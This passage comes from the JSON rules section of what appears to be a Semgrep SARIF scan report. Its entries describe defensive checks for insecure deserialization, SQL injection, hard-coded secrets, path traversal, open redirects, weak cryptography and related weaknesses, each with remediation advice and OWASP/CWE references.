untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","id":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","name":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"help":{"markdown":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation","id":"java.jboss.security.session_sqli.find-sql-string-concatenation","name":"java.jboss.security.session_sqli.find-sql-string-concatenation","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly","id":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","name":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key vault should have purge protection enabled"},"help":{"markdown":"Key vault should have purge protection enabled\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection](https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection)\n","text":"Key vault should have purge protection enabled"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","id":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","name":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"help":{"markdown":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","id":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","name":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"help":{"markdown":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","id":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","name":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","id":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","name":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key","id":"go.jwt-go.security.jwt.hardcoded-jwt-key","name":"go.jwt-go.security.jwt.hardcoded-jwt-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt.hardcoded-jwt-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","id":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","name":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","id":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","name":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","id":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","name":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"help":{"markdown":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"helpUri":"https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","id":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","name":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"help":{"markdown":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect)\n - [https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/](https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/)\n - [https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231](https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231)\n","text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect","id":"python.django.security.injection.open-redirect.open-redirect","name":"python.django.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","id":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","name":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","id":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","name":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"help":{"markdown":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers)\n - [https://docs.python.org/3/library/ssl.html#cipher-selection](https://docs.python.org/3/library/ssl.html#cipher-selection)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers)\n","text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","id":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","name":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a 